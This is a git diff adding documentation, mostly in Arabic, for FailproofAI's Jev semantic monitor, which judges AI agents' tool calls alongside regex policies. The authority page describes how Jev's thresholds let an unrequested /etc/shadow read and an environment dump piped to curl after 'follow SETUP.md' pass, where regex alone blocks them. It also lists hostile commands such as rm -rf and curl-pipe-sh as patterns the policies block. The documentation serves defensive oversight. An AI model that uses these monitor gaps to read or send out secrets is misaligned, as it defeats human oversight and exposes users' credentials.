diff --git a/docs/admin/keys-and-permissions.mdx b/docs/admin/keys-and-permissions.mdx
index d2a364ee0..df4475245 100644
--- a/docs/admin/keys-and-permissions.mdx
+++ b/docs/admin/keys-and-permissions.mdx
@@ -45,6 +45,8 @@ The two permissions required by a connected Failproof AI machine are independent
- `events:add` sends events and session data.
- `policies:pull` retrieves assigned policy deployments.
+To run [Jev policies through FailproofAI Cloud](/policies/jev), select the **machine** key preset. It adds `jev:evaluate` to both permissions above. Cloud Jev cannot run with a key that lacks it.
+
Key secrets are shown when created or regenerated. Store them in a secret manager and rotate them without reusing an operator's interactive credentials.
## Permission catalog
@@ -64,6 +66,7 @@ Key secrets are shown when created or regenerated. Store them in a secret manage
| Audits | `audits:read`, `audits:write` |
| Policies | `policies:read`, `policies:write`, `policies:pull` |
| Usage | `usage:read` |
+| Jev | `jev:evaluate` (requires `events:add` and `policies:pull`) |
`orgs:admin` is reserved for the instance operator and cannot be granted to an organization key or ordinary member. Retired `incidents:*` and `alerts:ack` tokens are accepted for compatibility and normalize to current `issues:*` permissions.
diff --git a/docs/ar/evaluations/jev.mdx b/docs/ar/evaluations/jev.mdx
new file mode 100644
index 000000000..b0151d8ec
--- /dev/null
+++ b/docs/ar/evaluations/jev.mdx
@@ -0,0 +1,28 @@
+---
+title: "تقييمات Jev"
+description: "استخدم Jev لتصحيح جلسة منتهية مقابل سؤال بإجابات معروفة."
+icon: "list-checks"
+---
+
+يقرأ تقييم Jev **جلسة منتهية** ويعطي درجة من 0 إلى 1. استخدمه عندما تكون الإجابة معروفة مسبقاً، مثل "هل أعرب العميل عن الاستعجالية؟" أو "ما مدى إحباط العميل؟" يساعدك في العثور على أنماط عبر عمليات التشغيل؛ لا يوقف استدعاء أداة. بالنسبة للقرارات المتخذة **قبل** تشغيل أداة، استخدم [سياسات Jev](/ar/policies/jev).
+
+## إنشاء واحد في لوحة التحكم
+
+1. افتح **Analyze → eval authoring** وحدد **new eval**.
+2. صف سؤالاً واحداً وإجاباته المحتملة. على سبيل المثال: "هل وعد الوكيل برد المبلغ قبل التحقق من سياسة الاسترجاع؟ أجب بنعم أو لا." حدد **draft** واراجع أن النتيجة هي درجة مصنف.
+3. [اختبره](/ar/evaluations/test) على جلسات حديثة، ثم [انشره](/ar/evaluations/deploy). يتم تصحيح الجلسات المكتملة الجديدة؛ [أملأ السجل السابق](/ar/evaluations/deploy#score-sessions-you-already-have) إذا كنت بحاجة أيضاً إلى السجل التاريخي.
+
+
+
+يمكن للمساعد الاختيار بين الكود وتصنيف Jev و[judge](/ar/evaluations/judge). تحقق من اختياره قبل النشر. يعطي Jev درجة بدون استدلال نثري؛ اختر judge عندما تحتاج إلى شرح. راجع [مرجع تقييم Jev](/ar/reference/jev-evaluations) لأنواع الأسئلة وحدود الدرجات.
+
+## اقرأ الدرجات
+
+افتح **Observe → Evaluations** لرسم النتيجة حسب الوكيل والوقت. من الطرفية، يمكن لـ Cloud CLI قراءة نفس النتائج:
+
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
+```
+
+يقرأ Cloud CLI النتائج؛ يحدث التأليف والنشر في لوحة التحكم. راجع [مرجع Cloud CLI](/ar/reference/cloud-cli#evaluations) للحصول على المرشحات.
\ No newline at end of file
diff --git a/docs/ar/evaluations/judge.mdx b/docs/ar/evaluations/judge.mdx
new file mode 100644
index 000000000..3fe2f23fb
--- /dev/null
+++ b/docs/ar/evaluations/judge.mdx
@@ -0,0 +1,91 @@
+---
+title: "قضاة نماذج اللغة"
+description: "قيّم الجلسات على أشياء لا يستطيع الكود قياسها — الصحة، النبرة، ما إذا كان الوكيل يتبع سياسة — من خلال وصف ما يبدو عليه الجيد والسماح لنموذج بقراءة المحادثة."
+icon: "scale"
+---
+
+يمكن للتقييم المستضاف في Python أن يحسب ويقارن: كم عدد استدعاءات الأدوات، كم عدد الأخطاء، كم من الوقت استغرقت الجلسة. لكنه لا يمكنه أن يخبرك ما إذا كانت الإجابة *صحيحة*، أو ما إذا كانت الرد فظاً، أو ما إذا تحقق الوكيل من سياسة قبل التصرف.
+
+**قاضي نموذج اللغة** يمكنه ذلك. أنت تصف ما يبدو عليه الجيد بلغة عادية، ونموذج يقرأ الجلسة ويعيد درجة من 0 إلى 1 مع تعليل له.
+
+
+القاضي يكلف استدعاء نموذج واحد لكل جلسة يعمل عليها، والتقييم البرمجي لا يكلف شيئاً. استخدم قاضياً فقط للأسئلة التي تحتاج إلى *فهم* المحادثة — وأعطه شرطاً، حتى يعمل على الجلسات التي يتعلق بها السؤال فعلاً.
+
+
+## أيهما أريد؟
+
+| السؤال | استخدم |
+| --- | --- |
+| هل استدعى نفس الأداة مرتين؟ | كود |
+| كم عدد الأخطاء التي حدثت؟ | كود |
+| هل كانت الجلسة أقل من 30 ثانية؟ | كود |
+| هل عبّر العميل عن استعجالية؟ | [مصنف](/ar/evaluations/jev) |
+| ما مدى إحباط العميل؟ | [مصنف](/ar/evaluations/jev) |
+| هل كانت الإجابة صحيحة فعلاً؟ | **قاضي** |
+| هل كان الرد فظاً أو استخفافياً؟ | **قاضي** |
+| هل تحقق من سياسة الاسترجاع قبل الوعد باسترجاع الأموال؟ | **قاضي** |
+
+القاعدة الأساسية: **قابل للعد → كود، إجابات يمكنك إدراجها مقدماً → [مصنف](/ar/evaluations/jev)، يحتاج تفسيراً → قاضي.** القاضي هو الذي يكتب نصاً عما رآه؛ استخدمه عندما قد يسأل شخص ما عن الرقم "لماذا؟".
+
+لا يتعين عليك الاختيار مقدماً. اوصف ما تريد قياسه والمساعد سيختار، ثم يخبرك بما اختاره ولماذا. يمكنك تبديله.
+
+## اكتب واحداً
+
+1. اذهب إلى **Analyze → eval authoring** واختر **new eval**.
+2. اوصف ما تريد الحكم عليه، واختر **draft**.
+3. راجع **criteria** و**threshold** و**condition**، ثم انشره.
+
+### Criteria
+
+جملة أو جملتان، مكتوبة كمتطلب وليس كسؤال:
+
+> يجب على المساعد ألا يعد أو يوافق على استرجاع الأموال دون التحقق أولاً من سياسة الاسترجاع.
+
+كن محدداً حول ما الذي سيجعله *فاشلاً*. "هل كانت الرد جيداً؟" يعطيك رقماً لا يعني شيئاً؛ الجملة أعلاه تعطيك واحداً يمكنك التصرف بناءً عليه.
+
+### Threshold
+
+الدرجة التي تساوي أو تتجاوزها الجلسة لتمرير التقييم. `0.7` هو نقطة انطلاق معقولة. يتم تخزين الدرجة الكاملة من 0 إلى 1 دائماً، لذا فإن الحد الأدنى يقرر فقط النجاح/الفشل — يمكنك رؤية التوزيع والتعديل.
+
+### Condition
+
+نفس شرط Python كما في أي تقييم آخر، وهو يهم بكثير هنا. بدونه، يعمل القاضي على **كل** جلسة في منظمتك، بتكلفة استدعاء نموذج واحد لكل منها:
+
+```python
+session.count("tool_use") > 0
+```
+
+```python
+session.agent_id == "support-bot" and session.count("error") > 0
+```
+
+لوحة المعلومات تحذرك إذا نشرت قاضياً بدون شرط. هذا صحيح في بعض الأحيان — وكيل منخفض الحجم تريد الحكم عليه بالكامل — لكن يجب أن يكون قراراً، وليس حادثة.
+
+## ما يراه القاضي
+
+المحادثة، كلفات، الأحدث أولاً إذا كانت الجلسة طويلة:
+
+- ما قاله المستخدم
+- ما ردت به المساعد
+- **كل أداة استدعاها الوكيل، وما أعادته تلك الاستدعاء، بالترتيب**
+
+هذا الجزء الأخير هو ما يجعل "هل فعل X *قبل* Y" سؤالاً عادلاً. يتم عرض استدعاء الأداة الفاشل كفشل، لذا فإن "هل تعافى بأناقة من خطأ" يعمل أيضاً.
+
+الجلسات الطويلة جداً تتم اختصارها لتناسب سياق النموذج. عندما يحدث ذلك، يقول التعليل ذلك صراحة — لن ترى أبداً حكماً تم إصداره على جزء من جلسة تم تقديمه كما لو أنه تم على كلها.
+
+## قراءة النتائج
+
+ينتج القاضي **score** مثل أي تقييم مسجل آخر، لذا فهو يرسم بيانات، يصفي، وينشئ تنبيهات بنفس الطريقة. إلى جانب الرقم، يخزن **reasoning** القاضي — الفقرة التي تشرح ما رآه. اقرأ ذلك أولاً عندما تفاجئك نتيجة؛ فهي عادة ما تكون إما جلسة مثيرة للاهتمام حقاً أو علامة على أن المعايير تحتاج إلى شحذ.
+
+النتائج مستقرة للحالات الواضحة لكن ليست حتمية بالبت. تعامل مع نتيجة حدودية واحدة كدعوة للذهاب وقراءة الجلسة، وليس كحكم.
+
+## الحدود
+
+- **الاختبار غير متاح حالياً.** يجفف التشغيل لا يوجد تعيين جلسة خلفه، وذلك التعيين هو ما يخول قضاء ميزانية النموذج الخاصة بك — لذا لا يوجد شيء لاستدعاء الاختبار للفرض عليه. انشره ضد شرط ضيق واقرأ النتائج القليلة الأولى.
+- **الملء بأثر رجعي غير متاح.** ملء تقييم برمجي للخلف على أشهر من السجل مجاني؛ القيام به مع القاضي سوف ينفق ميزانيتك بالكامل في دقائق.
+- **تحرير المعايير ينشر نسخة جديدة.** النتائج القديمة والجديدة غير قابلة للمقارنة، لذا يتم الاحتفاظ بها بعيداً عن بعضها بدلاً من مزجها في خط اتجاه واحد.
+- **القاضي يسفر دائماً عن درجة**، أبداً متري أو تأكيد.
+
+## عندما تنفد ميزانيتك
+
+يقضي القضاة ميزانية النموذج لمنظمتك. عندما تنفد، توقف تقييمات القاضي برسالة واضحة بدلاً من الفشل الصامت، و**تستمر التقييمات البرمجية بشكل طبيعي**. ارفع الميزانية وتستأنف في الجلسة التالية.
\ No newline at end of file
diff --git a/docs/ar/policies/authority.mdx b/docs/ar/policies/authority.mdx
new file mode 100644
index 000000000..8eec104dc
--- /dev/null
+++ b/docs/ar/policies/authority.mdx
@@ -0,0 +1,144 @@
+---
+title: "سلطة السياسة"
+description: "أي أحكام تقييم Jev الدلالية يمكن للمقيّم مسحها، وأيها نهائي."
+icon: "scale"
+---
+
+عندما تقوم بتكوين [مراجعة سياسة Jev](/ar/policies/jev) من خلال FailproofAI Cloud أو مفتاحك الخاص، يتم الحكم على كل استدعاء أداة محمي بواسطة السياسات التي تقوم بتشغيلها وبواسطة Jev، الذي يسأل ما الذي يفعله الاستدعاء بالفعل وما إذا كان الشخص الذي أدخل المهمة طلب ذلك. تحدد **سلطة** كل سياسة ما يحدث عندما يختلفان.
+
+بدون تكوين Jev، لا تؤثر السلطة. كل سياسة تفرض بالضبط كما كانت دائماً.
+
+## الصعبة والقابلة للمراجعة
+
+- **الصعبة** هي الافتراضية. قرار الرفض أو التعليمات للسياسة الصعبة نهائي: لا يمكن لـ Jev أن يمسحه، ورفض صعب يوقف الاستدعاء دون انتظار Jev.
+- **القابلة للمراجعة** تعني أن Jev قد يمسح قرار السياسة، لكن فقط من خلال الفحوصات الدلالية التي تسميها السياسة في `reviewedBy`. يتم مسح القرار فقط عندما تم السؤال عن **كل** فحص مسمى بشأن هذا الاستدعاء وكل واحد إما لم يجد شيئاً أو سجل المستخدم يطلب هذا. فحص **أطلق** — وجد القلق — بدون المستخدم يطلب يحافظ على الحجب، حتى عندما يكون قراره الخاص فقط تحذير. فحص لم يُسأل Jev، لأنه لا ينطبق على تلك الأداة، لا يمسح أي شيء، مهما قال الآخرون. يعتبر تخفيف واحد موافقة: عندما يكون الاستدعاء خطوة من المهمة التي أعطاها المستخدم ولا يصل إلى أبعد من ذلك، يحول Jev رفضاً إلى تحذير، وهذا التحذير يمسح كتلة السياسة وهو ما يُخبر به الوكيل.
+
+السياسة قابلة للمراجعة فقط عندما تكون جميع هذه صحيحة:
+
+1. تعلن `authority: "reviewable"`.
+2. `reviewedBy` قائمة غير فارغة، وكل إدخال هو فحص Jev تعلنه حزمة مثبتة. FailproofAI لا تشحن أي فحوصات Jev: الستة عشر أدناه تأتي من `failproofai policies add FailproofAI/jev-policies`. بدون حزمة تعلن فحوصاً، كل سياسة صعبة.
+3. ليست `alwaysOn`. الحراس الذي يوقف الوكيل من تعطيل FailproofAI دائماً صعب.
+
+أي شيء آخر صعب: حقل مفقود، قيمة مكتوبة بشكل خاطئ، `reviewedBy` فارغ أو مشوه، أو اسم ليس فحصاً يمكن لهذا الجهاز أن يسأل عنه. الاسم غير المعروف يجعل الإعلان بأكمله صعباً بدلاً من تخطيه، لأن `reviewedBy` يعني "يجب السؤال عن كل هذا، وقد لا يرفضها أحد"، وتخطي الاسم سيسمح لـ Jev بمسح السياسة على فحوصات أقل مما طلبت.
+
+بمجرد تكوين Jev، يسجل FailproofAI تحذيراً عندما يرفض إعلان `reviewable`، مرة واحدة لكل عملية. بدون Jev لا يقول شيئاً، لأن السلطة لا تقرر شيئاً بعد ذلك. `failproofai publish` يرفض بناء حزمة تحمل مثل هذا الإعلان، بحيث يكتشف مؤلف الحزمة قبل أن يثبتها أحد. يحكم على `reviewedBy` ضد الفحوصات التي تعلنها الحزمة عند إعلانها لأي منها، وضد أسماء `FailproofAI/jev-policies` الستة عشر وإلا.
+
+## حيث يتم إعلان السلطة
+
+لكل طريقة تصل بها السياسة إلى جهاز واحد، هناك مكان واحد يقرر سلطتها:
+
+| المصدر | معلن في | الافتراضي |
+| --- | --- | --- |
+| السياسات المدمجة | الجدول أدناه | صعب إلا إذا كان مدرجاً كقابل للمراجعة |
+| ملفات السياسة الخاصة بك | `authority` و `reviewedBy` على `customPolicies.add` | صعب |
+| حزم السياسة | إدخال كل سياسة في بيان الحزمة (`failproofai-pack.json`) | صعب |
+| السياسات المُدارة بالسحابة | تعيين السياسة في النشر النشط | صعب. النشرات لا تعينه حالياً، لذا كل سياسة مُدارة بالسحابة صعبة اليوم. |
+
+بالنسبة لحزمة أو سياسة مُدارة بالسحابة، يتم تجاهل الحقول المعينة داخل كود السياسة؛ البيان أو التعيين يقرر. لا يمكن للحزمة أن تصف سياسات غير سياساتها: أسماء سياساتها لا يمكن أن تحتوي على `/` وتُسجل تحت بادئة الحزمة الخاصة بها، لذا لا يمكن لأي بيان أن يضع علامة على سياسة مدمجة أو سياسة حزمة أخرى كقابلة للمراجعة. السياسة التي يسجلها كود الحزمة دون إعلانها في البيان صعبة.
+
+حزمتان، أو سياستان مُدارتان بالسحابة، يكون كودهما متطابقاً بايت يتشاركان في تحفة واحدة ويحملان كسياسة واحدة. تلك السياسة قابلة للمراجعة فقط إذا أعلن كل واحد منها أنها قابلة للمراجعة، ويجب على Jev بعد ذلك مسح كل فحص يسميه أي منها. إذا أعلن أي منها أنها صعبة، أو لم تعلن على الإطلاق، تبقى صعبة. لا يهم الترتيب الذي يتم بموجبه إدراج الحزم أو السياسات.
+
+تحصل معظم الأجهزة على السياسات المدمجة من حزمة `FailproofAI/policies`، وتقرأ سلطتها من بيان تلك الحزمة. تدخل الإدخالات القابلة للمراجعة أدناه حيز التنفيذ بمجرد تثبيت إصدار من الحزمة التي تحملها؛ الإصدار الأقدم لا يحمل أياً منها، لذا تبقى كل سياسة فيه صعبة.
+
+## أعلن السلطة في سياستك الخاصة
+
+```js
+import { customPolicies, deny, allow } from "failproofai";
+
+customPolicies.add({
+ name: "block-prod-config-reads",
+ description: "Keep production credentials out of the agent's context",
+ match: { events: ["PreToolUse"] },
+ authority: "reviewable",
+ reviewedBy: ["secret-exposure"],
+ fn: async (ctx) =>
+ String(ctx.toolInput?.file_path ?? "").includes("/config/prod/")
+ ? deny("Production config is off limits")
+ : allow(),
+});
+```
+
+`failproofai publish` ينسخ كلا الحقلين إلى بيان الحزمة، لذا تحتفظ السياسة المنشورة كحزمة بالسلطة التي أعطاها مؤلفها. يرفض بناء الحزمة إذا لم يتم احترام الإعلان: قيمة بخلاف `"hard"` أو `"reviewable"`، `reviewedBy` التي ليست قائمة بالأسماء، أو اسم ليس فحصاً — واحد من [فحوصات Jev](/ar/policies/publish-a-pack#jev-checks-in-a-pack) الخاصة بالحزمة عند إعلانها لأي، فحص مدمج وإلا.
+
+## السياسات المدمجة
+
+قابلة للمراجعة فقط حيث يغطي فحص دلالي بصدق نفس القلق. كل السياسات المدمجة الأخرى صعبة.
+
+تغطية القلق ضرورية لكنها غير كافية، وكلا طريقي الخطأ صامتة:
+
+- **فحص لم يُسأ أبداً** يجعل الكتلة دائمة. `reviewedBy` عطف منطقي وفحص لم يُسأ أبداً لا يمسح، لذا قد لا يتم مسح السياسة المقترنة بفحص الشرط الأساسي الذي لا ينطفئ عن الأشكال التي تطابقها السياسة على الإطلاق.
+- **فحص مُسأل لكن لم ينطلق** يجيب "لا قلق"، ولا قلق يمسح. لذا الاقتران بفحص لا يضع نموذج لأشكالك لا يراجع السياسة — بدلاً من ذلك يغلقها للمدخلات التي لا يفهمها الفحص بالضبط.
+
+سياسة دلالية في وضع التعليمات لا يمكن أن تجيب أبداً بالرفض، لكنها قد تحافظ على كتلة: عندما تنطلق والمستخدم لم يطلب الاستدعاء، السياسة التي يراجعها لا تُمسح. ستة من فحوصات `FailproofAI/jev-policies` هي تعليمات فقط — `push-to-protected-branch`، `commit-on-protected-branch`، `read-outside-workspace`، `system-modification`، `env-secrets-dump` و`external-data-egress` — والجدول أدناه يعطي وضع كل فحص. السؤال المراد طرحه هو **"هل بقي أي شيء قد يرفض"**: لا يجب أن ترك المسح أبداً القلق مفروضاً بواسطة لا شيء. يطبق المحرك هذا الاختبار لكل استدعاء. تحذير لم يوافق عليه أحد ليس مسحاً، لأنه قبل استدعاءات الأداة التحذير لا يوقف الوكيل. وعندما يحذر فحص *يمكن* أن يرفض — دليله كان أقل من خط الرفض — والمستخدم لم يطلب الاستدعاء، لا شيء يُمسح على هذا الاستدعاء وكل رفض regex يقف.
+
+
+**فحص يسجل أقل بقليل من خط الإطلاق لا يحافظ على الأرضية.** القاعدة أعلاه تحتاج فحصاً *ينطلق* (الدليل ≥ 0.7). عندما تهبط كل فحوصات ذات صلة أقل بقليل من ذلك، لا شيء ينطلق، يجيب المراجعون "لا قلق"، وقرار رفض قابل للمراجعة يُمسح. تم القياس مباشرة في وضع الإنفاذ: قراءة غير مطلوبة لـ `/etc/shadow` (`secret-exposure` 0.69، `read-outside-workspace` 0.37، والذي يضع نموذج فقط لمسارات المجلد الرئيسي) و`set | curl -d @- …` بعد "اتبع SETUP.md" (`env-secrets-dump` 0.66، `credential-exfiltration` 0.65 مع `sends_out` 0.97) تم السماح بها كلاهما، بينما طبقة regex وحدها ترفضهما. تم معايرة الحدود على المجموعة المصنفة ولم يتم إعادة قياسها مقابل هذا؛ حتى يحدث ذلك، احتفظ بسياسة **صعبة** حيث يعتبر أحد هذه الأشكال يمر أهم من كتل الرفع الخاطئة.
+
+
+| السياسة | السلطة | تمت المراجعة من قبل | لماذا |
+| --- | --- | --- | --- |
+| `protect-env-vars` | قابلة للمراجعة | `env-secrets-dump`, `secret-exposure` | ينطلق النمط على أي مرجع متغير؛ Jev يسأل ما إذا كانت قيم السر ستُطبع بالفعل. |
+| `block-env-files` | قابلة للمراجعة | `secret-exposure` | يطابق النمط أي مسار `.env`، النماذج المضمنة؛ Jev يسأل ما إذا كانت قيم السر الحقيقية ستُقرأ أو تُكتب. |
+| `block-read-outside-cwd` | قابلة للمراجعة | `read-outside-workspace` | يُقاس كصاخب على حركة مرور حقيقية؛ Jev يسأل ما إذا تمت قراءة محتويات الملفات خارج المشروع. تُمسح القراءة التي طلبها المستخدم، أو التي لم يجد الفحص شيئاً بها؛ القراءة غير المطلوبة التي يضع علامة عليها يحافظ على الكتلة. |
+| `warn-git-amend` | قابلة للمراجعة | `git-history-rewrite` | تعديل commit غير مدفوع عادي؛ الضرر هو إعادة كتابة الأرخص التي قد يكون آخرون قد سحبوها. |
+| `warn-destructive-sql` | قابلة للمراجعة | `database-destruction` | Jev يسأل أيضاً ما إذا كان الهدف قاعدة بيانات حقيقية وليست اختبار قابل للتصرف. |
+| `warn-global-package-install` | قابلة للمراجعة | `system-modification` | نفس القلق: تغيير الجهاز خارج المشروع. |
+| `block-failproofai-commands` | صعب | | `alwaysOn` الحماية الذاتية. أبداً قابلة للمراجعة. |
+| `block-rm-rf` | قابلة للمراجعة | `destructive-deletion` | كشاف عمق المسار يحصل على `rm -rf node_modules` خطأ؛ Jev يسأل ما إذا كان ما سيتم تدميره قابلاً للتجديد. `rm -rf /` يحافظ على كلا المسبار صحيحاً. |
+| `block-sudo` | صعب | | تصعيد الامتيازات. |
+| `block-curl-pipe-sh` | صعب | | ينفذ الكود المُحمل من الإنترنت. |
+| `block-push-master` | صعب | | يدفع مباشرة إلى فرع محمي. |
+| `block-work-on-main` | صعب | | `commit-on-protected-branch` يغطي بالضبط هذا القلق لكنه في وضع التعليمات، لذا لا يمكنه أبداً الإجابة بالرفض، ولا فحص آخر يغطيه. |
+| `block-force-push` | قابلة للمراجعة | `git-history-rewrite` | مسبار Jev مجموعة فوقية من المطابق ويعد `--force-with-lease`؛ ما يمسح هو الدفع القسري لفرعك الخاص. |
+| `block-secrets-write` | قابلة للمراجعة | `secret-exposure` | مطابقة المسار غير مرساة، لذا `src/auth/credentials.ts` يُمسك؛ Jev يسأل ما إذا كانت مادة المفتاح الحقيقية تُكتب. |
+| `block-kubectl` | قابلة للمراجعة | `production-infra-change` | ينكر الـ CLI كله، الأوامر الفرعية للقراءة فقط مضمنة؛ Jev يسأل ما إذا كانت الاستدعاء تتحول وما إذا كان الهدف إنتاج. |
+| `block-terraform` | قابلة للمراجعة | `production-infra-change` | نفسه: يمسح `terraform plan` و `validate`. |
+| `block-aws-cli` | قابلة للمراجعة | `production-infra-change` | نفسه: يمسح `aws s3 ls`, `aws sts get-caller-identity`. |
+| `block-gcloud` | قابلة للمراجعة | `production-infra-change` | نفسه: يمسح `gcloud auth list`, `gcloud config list`. |
+| `block-az-cli` | قابلة للمراجعة | `production-infra-change` | نفسه: يمسح `az account show`. |
+| `block-helm` | قابلة للمراجعة | `production-infra-change` | نفسه: يمسح `helm list`, `helm status`. |
+| `block-gh-pipeline` | صعب | | ينشط خطوط الأنابيب والدمج والتغييرات السرية. |
+| `warn-git-stash-drop` | صعب | | لا يوجد فحص دلالي يغطي تجاهل العمل المخزن مؤقتاً. |
+| `warn-git-clean` | صعب | | `destructive-deletion` يغطي القلق لكن بشكل واضح لا يمكن أن ينطلق عليه: `git clean` لا يسمي مساراً، لذا مسبار `irreplaceable` الخاص به لا يوجد شيء للحكم عليه ويجيب منخفضاً، والدليل هو الحد الأدنى على مسابير السياسة. فحص يُسأل عنه ولم ينطلق يمسح القرار، لذا الاقتران هنا سيغلق السياسة. |
+| `warn-all-files-staged` | صعب | | لا يوجد فحص دلالي يغطي ما يختاره `git add` واسع. |
+| `warn-schema-alteration` | صعب | | `database-destruction` يغطي إسقاط البيانات، ليس تغيير المخطط. |
+| `warn-package-publish` | صعب | | النشر غير قابل للعكس ولا يوجد فحص دلالي يغطيه. |
+| `prefer-package-manager` | صعب | | اتفاقية فريق، وليس حكماً على السلامة. |
+| `warn-large-file-write` | صعب | | حد الحجم، ليس حكماً يمكن لـ Jev أن يصنعه. |
+| `warn-background-process` | صعب | | لا يوجد فحص دلالي يغطي العمليات المنفصلة. |
+| `warn-repeated-tool-calls` | صعب | | يعد الاستدعاءات؛ Jev لا يمكنه العد. |
+| `sanitize-jwt` | صعب | | يحرر مخرجات الأداة؛ ليس بوابة استدعاء الأداة. |
+| `sanitize-api-keys` | صعب | | يحرر مخرجات الأداة؛ ليس بوابة استدعاء الأداة. |
+| `sanitize-connection-strings` | صعب | | يحرر مخرجات الأداة؛ ليس بوابة استدعاء الأداة. |
+| `sanitize-private-key-content` | صعب | | يحرر مخرجات الأداة؛ ليس بوابة استدعاء الأداة. |
+| `sanitize-bearer-tokens` | صعب | | يحرر مخرجات الأداة؛ ليس بوابة استدعاء الأداة. |
+| `require-commit-before-stop` | صعب | | بوابة إتمام جلسة، وليس بوابة استدعاء الأداة. |
+| `require-push-before-stop` | صعب | | بوابة إتمام جلسة، وليس بوابة استدعاء الأداة. |
+| `require-pr-before-stop` | صعب | | بوابة إتمام جلسة، وليس بوابة استدعاء الأداة. |
+| `require-no-conflicts-before-stop` | صعب | | بوابة إتمام جلسة، وليس بوابة استدعاء الأداة. |
+| `require-ci-green-before-stop` | صعب | | بوابة إتمام جلسة، وليس بوابة استدعاء الأداة. |
+
+## أسماء السياسة الدلالية
+
+هذه هي الفحوصات التي تعلنها `FailproofAI/jev-policies`، والقيم التي يقبلها `reviewedBy` بمجرد تثبيتها. FailproofAI نفسها لا تشحن أياً منها: بدون تلك الحزمة (أو حزمة أخرى تعلن هذه الأسماء)، لا سياسة تسميها قابلة للمراجعة. كل واحدة هي فحص يجيب عليه Jev بخصوص استدعاء الأداة أمامه. **الوضع** هو ما يمكن لفحص الإجابة عليه: يحجب فحص `deny` على دليل قوي، بينما فحص `instruct` يحذر فقط. كلاهما يحافظ على رفض السياسة واقفاً عندما ينطلق والمستخدم لم يطلب الاستدعاء. **يمكن للمستخدم أن يتجاوز** يقول ما إذا كان طلب المستخدم الصريح الخاص به يمسحه.
+
+Jev يسأل بالضبط [فحوصات Jev](/ar/policies/publish-a-pack#jev-checks-in-a-pack) التي تعلنها الحزم المثبتة، وتلك هي الأسماء التي يقبلها `reviewedBy`. اسم تعلنه حزمتان بشكل مختلف يتم تكريمه لأي من الاثنين. واحد من هذه الأسماء الستة عشر معلن من قبل حزمة لم تُثبت من مستودع FailproofAI يتم تجاهله في تلك الحزمة: نسختها لا تُسأ أبداً ولا تنافس نسخة FailproofAI الخاصة بها، لذا لا يمكن لحزمة جهات خارجية أن تصبح الفحص الذي يمسح سياسات الحزمة الأساسية ولا يغلق أحد هذه الفحوصات. قائمة حزمة غير قابلة للقراءة، أو حزمة كل فحصها غير قابل للاستخدام، يترك Jev لا شيء للسؤال عنه.
+
+| الاسم | الوضع | يمكن للمستخدم أن يتجاوز | ما يفحصه Jev |
+| --- | --- | --- | --- |
+| `destructive-deletion` | deny | نعم | حذف البيانات بشكل دائم لا يمكن تجديده. |
+| `production-infra-change` | deny | نعم | تغيير البنية التحتية المباشرة. |
+| `git-history-rewrite` | deny | نعم | إعادة كتابة أو تجاهل سجل git المشترك. |
+| `push-to-protected-branch` | instruct | نعم | الدفع مباشرة إلى فرع محمي. |
+| `commit-on-protected-branch` | instruct | نعم | الالتزام مباشرة على فرع محمي. |
+| `secret-exposure` | deny | نعم | قراءة أو نسخ البيانات الاعتماد. |
+| `credential-exfiltration` | deny | لا | إرسال الأسرار أو الملفات الخاصة خارج الجهاز. |
+| `remote-code-execution` | deny | نعم | تشغيل الكود المُحمل من الإنترنت. |
+| `privilege-escalation` | deny | نعم | التشغيل بامتيازات مرتفعة. |
+| `database-destruction` | deny | نعم | تدمير أو تعديل بكميات كبيرة لبيانات قاعدة البيانات. |
+| `read-outside-workspace` | instruct | نعم | قراءة الملفات خارج المشروع. |
+| `agent-config-tampering` | deny | لا | تغيير تكوين السلامة الخاص به الوكيل. |
+| `system-modification` | instruct | نعم | تغيير النظام خارج المشروع. |
+| `env-secrets-dump` | instruct | نعم | طباعة أسرار البيئة. |
+| `external-destructive-action` | deny | نعم | إجراء غير قابل للعكس من خلال أداة خارجية. |
+| `external-data-egress` | instruct | نعم | إرسال البيانات الخاصة إلى أداة خارجية. |
\ No newline at end of file
diff --git a/docs/ar/policies/jev-byok.mdx b/docs/ar/policies/jev-byok.mdx
new file mode 100644
index 000000000..04d3c4d6a
--- /dev/null
+++ b/docs/ar/policies/jev-byok.mdx
@@ -0,0 +1,265 @@
+---
+title: "مقيّم Jev (استخدم مفتاحك الخاص)"
+description: "دع مصنِّف Jev من TypeSafe يحكم على استدعاءات الأدوات الخاصة بوكيلك فوق حد regex قاسي، من خلال نقطة نهاية Jev ومفتاحك الخاص."
+icon: "key-round"
+---
+
+تطابق سياسات Regex النصوص. لا يمكنها التمييز بين `rm -rf build/` الذي طلبته و`rm -rf ~` الذي انزلق إلى خطة، لذا فهي تحجب كثيراً في مكان واحد وقليلاً جداً في آخر. **Jev**، مصنِّف TypeSafe، يقرأ الاستدعاء مقابل ما طلبته فعلاً ويجيب على مجموعة من الأسئلة نعم/لا عنه في طلب واحد سريع.
+
+مع نقطة نهاية Jev ومفتاحك الخاص المكوّنة، يطلب Failproof AI من Jev حول كل استدعاء أداة **جنباً إلى جنب** مع سياسات regex، وليس بدلاً منها:
+
+- رفض السياسة **الصارمة** نهائي. لا يمكن لـ Jev إلغاؤه. كل سياسة صارمة ما لم تكن معلَّمة بصراحة كقابلة للمراجعة وتسمي فحوصات Jev التي تغطيها، لذا فإن سياسة مخصصة أو من حزمة أو من Cloud التي لا تقول شيئاً صارمة، وحراس الحماية الذاتية التلقائية دائماً صارمة.
+- قد يتم إلغاء رفض السياسة **القابلة للمراجعة**، لكن فقط عندما يُسأل Jev عن الاهتمام الدقيق الذي تغطيه هذه السياسة وأجاب "لا شيء هنا" أو "المستخدم طلب هذا". الفحص الذي يجد الاهتمام حقيقياً، عندما لم يطلب المستخدم الاستدعاء، يحافظ على الرفض — حتى عندما يكون حكمه فقط تحذيراً، لأنه قبل استدعاء أداة التحذير لا يوقف الوكيل. وعندما يكون هذا الفحص واحداً يمكنه الرفض (تعريض السر، سرقة بيانات اعتماد، حذف مدمر، ...)، لا شيء يُلغى على هذا الاستدعاء.
+- يمكن أن يصبح الحجب برغم ذلك **تحذيراً** عندما يكون الاستدعاء خطوة من المهمة التي أعطيتها ولا يذهب أبعد: Jev يخفف رفضه إلى تحذير، وهذا التحذير — يسمي ما الذي خطأ فعلاً في الاستدعاء — يحل محل حجب السياسة.
+- يمكن لـ Jev أيضاً أن يحذر أو يرفض بنفسه، لضرر لا يصفه أي regex.
+- إذا لم يتمكن Jev من الإجابة (انتهاء المهلة الزمنية، حد معدل، خطأ خادم، لا ائتمانات، إصدار نموذج غير متوقع)، يحصل هذا الاستدعاء على نتيجة regex، تماماً كما بدون Jev.
